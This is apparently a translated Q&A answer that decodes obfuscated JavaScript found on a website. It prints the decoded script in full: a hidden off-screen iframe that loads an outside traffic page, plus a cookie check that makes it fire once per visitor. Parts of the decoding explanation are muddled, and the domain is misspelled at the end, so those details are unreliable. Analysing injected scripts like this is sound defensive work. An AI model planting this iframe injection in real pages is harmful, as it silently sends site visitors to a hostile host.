Zq is a separator, not part of the value. The bit at the end probably performs the .split("Zq") operation, which creates an array of hexadecimal values.
A quick search reveals that these hexadecimal values ββare only ASCII values ββoffset by 9. (I defined this with a fast for loop, but you can also see it in the code +0xa-cod , where 0xa is the hexadecimal 10 and cod set earlier as 5-3-1 (i.e. 1 )).
var input_string = ""; var input_arr = input_string.split("Zq");
This shows the resulting text in result :
function vwv09() { var static = 'ajax'; var controller = 'index.php'; var vwv = document.createElement('iframe'); vwv.src = 'http://inversionesrm.com/traf.php'; vwv.style.position = 'absolute'; vwv.style.color = '25746'; vwv.style.height = '25746px'; vwv.style.width = '25746px'; vwv.style.left = '100025746'; vwv.style.top = '100025746'; if (!document.getElementById('vwv')) { document.write('<p id=\'vwv\' class=\'vwv09\' ></p>'); document.getElementById('vwv').appendChild(vwv); } } function SetCookie(cookieName, cookieValue, nDays, path) { var today = new Date(); var expire = new Date(); if (nDays == null || nDays == 0) nDays = 1; expire.setTime(today.getTime() + 3600000 * 24 * nDays); document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : ""); } function GetCookie(name) { var start = document.cookie.indexOf(name + "="); var len = start + name.length + 1; if ((!start) && (name != document.cookie.substring(0, name.length))) { return null; } if (start == -1) return null; var end = document.cookie.indexOf(";", len); if (end == -1) end = document.cookie.length; return unescape(document.cookie.substring(len, end)); } if (navigator.cookieEnabled) { if (GetCookie('visited_uq') == 55) {} else { SetCookie('visited_uq', '55', '1', '/'); vwv09(); } }
This text is then eval ed, which appears to set the visited_uq cookie, and then opens an iframe on the page at inversionsrm.com .
source share